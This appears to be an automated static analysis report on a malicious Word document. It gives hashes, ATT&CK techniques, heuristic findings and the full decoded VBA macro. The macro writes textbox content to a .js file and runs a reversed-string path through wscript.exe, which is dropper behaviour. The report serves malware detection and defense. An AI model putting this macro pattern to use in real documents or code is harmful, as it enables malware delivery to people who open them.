Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 84e237ede6ec8ab7…

MALICIOUS

Office (OOXML)

411.7 KB Created: 2021-06-10 03:14:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-06-20
MD5: 7cf30f7e99f4b5bfc1745a26847c6739 SHA-1: 5e19c2489fa9d55110ef7399036d2373215454a2 SHA-256: 84e237ede6ec8ab7bee7a2c631449c88502e0f6b0feb9891b9aa11ecb41ace3b
184 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an OOXML document containing VBA macros. The VBA code uses CreateObject to instantiate a FileSystemObject and writes content to a file named 'C:\TestFile.js'. It then attempts to execute this file using 'wscript.exe C:\sj.udU8se25hgKL.gnp', indicating a downloader or dropper functionality. The script's intent is to download and execute a second-stage payload.

Heuristics 6

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        MsgBox ("" & sexec)
    runcalc = Shell("wscript.exe C:\" & StrReverse(vl2))
End Sub
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        MsgBox ("" & sexec)
    runcalc = Shell("wscript.exe C:\" & StrReverse(vl2))
End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        'MsgBox ("" & gPath)
    Set Fso = CreateObject("Scripting.FileSystemObject")
    Set sFile = Fso.CreateTextFile(gPath & "/TestFile.js", True)
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1211 bytes
SHA-256: afcc73020eea7c056af126665db6bddaa2b89dd90e51a8e0bc7f847a658e66b0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm2"
Attribute VB_Base = "0{975A3AD2-E157-4EED-9AC4-27D9BCF8C660}{BDB623FC-1865-484A-92A1-3AA911C53837}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub UserForm_Activate()
UserForm2.Hide
    Dim gPath As String
    Dim vl2 As String
    Dim sFile As Object, Fso As Object
    Dim vl As String
    vl = UserForm2.TextBox1.Value
    
    vl2 = "sj.udU8se25hgKL.gnp"
    sexec = StrReverse(vl2)
    'gPath = "C:\"
    'MsgBox ("" & gPath)
    Set Fso = CreateObject("Scripting.FileSystemObject")
    Set sFile = Fso.CreateTextFile(gPath & "/TestFile.js", True)
    sFile.WriteLine ("" & vl)
    'StrReverse (vl2)
    MsgBox ("" & sexec)
    runcalc = Shell("wscript.exe C:\" & StrReverse(vl2))
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 608768 bytes
SHA-256: e05fb4f7ffeb32cb7e4d827a1870722812c34353be672a8de07f9599b135a84d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
4819 of 5088 identifiers look randomly generated (e.g. 'QsOOb8OVKFkTdsKNLcOPLcKLTcOvw40hwqzCgsKj') — consistent with name-mangling obfuscation. Carved artifact contains 124 long base64-like blob(s).

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